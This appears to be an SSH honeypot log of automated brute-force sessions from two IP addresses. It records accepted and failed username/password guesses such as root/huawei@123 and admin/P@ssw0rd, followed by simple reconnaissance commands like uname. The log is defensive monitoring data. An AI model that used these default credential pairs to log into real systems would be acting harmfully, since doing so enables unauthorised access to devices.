}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev
{
"id": "2aa6fff85dbb",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:10.086239Z",
"end_time": "2026-07-20T08:12:12.066875Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dev",
"pass": "abc123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / P@ssw0rd
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "11dc7f6cd8f8",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:04.678416Z",
"end_time": "2026-07-20T08:12:06.198594Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "P@ssw0rd"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / temp
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "6ba0ea5b1545",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:11:58.869055Z",
"end_time": "2026-07-20T08:12:00.234636Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "temp"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: newuser
{
"id": "74e09f883e53",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:11:58.681767Z",
"end_time": "2026-07-20T08:12:01.150825Z",
"duration": "2.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "newuser",
"pass": "qwerty"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: guest / pi
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "16858e97fbd7",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:11:53.316230Z",
"end_time": "2026-07-20T08:11:55.415644Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "guest",
"pass": "pi"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / huawei@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ac13a364d731",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:11:47.820981Z",
"end_time": "2026-07-20T08:11:49.711901Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "huawei@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / telecom
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "28518a7b37ff",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:11:46.048680Z",
"end_time": "2026-07-20T08:11:47.731036Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "telecom"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / asdfasdf-space
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5827518644f4",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:11:42.888175Z",
"end_time": "2026-07-20T08:11:44.746121Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "asdfasdf-space"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}